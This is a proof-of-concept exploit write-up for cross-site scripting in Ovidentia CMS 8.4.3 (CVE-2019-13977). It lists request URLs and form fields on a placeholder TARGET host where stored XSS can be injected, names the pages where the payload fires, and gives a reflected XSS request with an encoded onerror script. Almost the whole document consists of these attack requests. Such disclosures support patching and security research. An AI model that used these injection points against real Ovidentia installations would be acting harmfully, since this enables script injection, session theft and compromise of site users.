Ovidentia 8.4.3 - Cross-Site Scripting

#-------------------------------------------------------
# Exploit Title: [ Ovidentia CMS - XSS Ovidentia 8.4.3 ]
# Description: [ The vulnerability permits any kind of XSS attacks. Reflected, DOM and Stored XSS. ]
# Date: [ 06/05/2019 ]
# CVE: [ CVE-2019-13977 ]
# Exploit Author:
#     [ Fernando Pinheiro (n3k00n3) ]
#     [ Victor Flores	(UserX) ]
# Vendor Homepage: [
https://www.ovidentia.org/
]
# Version: [ 8.4.3 ]
# Tested on: [ Mac,linux - Firefox, safari ]
# Download: [
http://en.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FDistributions&file=ovidentia-8-4-3.zip&idf=893
]
#
#           [ Kitsun3Sec Research Group ]
#--------------------------------------------------------

POC

>========================================================
                      Stored XSS
>========================================================

1. POST
http://TARGET/ovidentia/index.php?tg=groups
Field:
		nom
2. POST
http://TARGET/ovidentia/index.php?tg=maildoms&idx=create&userid=0&bgrp=y
Fields:
		Nom
		Description
3. GET
http://TARGET/ovidentia/index.php?tg=delegat
Show groups
4. POST
http://TARGET/ovidentia/index.php?tg=site&idx=create

http://TARGET/ovidentia/index.php?tg=site&item=4
Fields:
		Nom
		address
		description
5. POST
http://TARGET/ovidentia/index.php?tg=admdir&idx=mdb&id=1
Fields:
		Libellé du champ
	Explosion:
http://TARGET/ovidentia/index.php?tg=forums&idx=notices

http://TARGET/ovidentia/index.php?tg=admdir&idx=dispdb&id=1

http://TARGET/ovidentia/index.php?tg=admdir&idx=lorddb&id=1
6. POST
http://TARGET/ovidentia/index.php?tg=notes&idx=Create
Fields: Notes
	Explosion:
http://TARGET/ovidentia/index.php?tg=notes&idx=List
7. POST
http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Add
Fields: all
	Explosion:
http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Categories#bab_faq_2
>========================================================
                    REFLECTED
>========================================================

1. GET
http://TARGET/ovidentia/index.php?tg=admoc&idx=addoc&item=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E

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